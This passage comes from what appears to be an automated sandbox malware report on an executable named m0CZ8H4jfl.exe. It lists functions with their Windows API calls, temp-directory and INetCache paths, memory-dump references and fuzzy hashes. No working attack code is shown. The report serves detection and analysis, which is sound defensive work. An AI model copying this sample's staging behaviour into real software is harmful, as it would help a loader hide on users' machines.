Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp
API String ID: 1356686001-1971207112
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-297319885
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(?,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(?,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2113348990
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,00000000,?), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 1892508949-4023340444
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,00000001,?), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046B,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046B,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

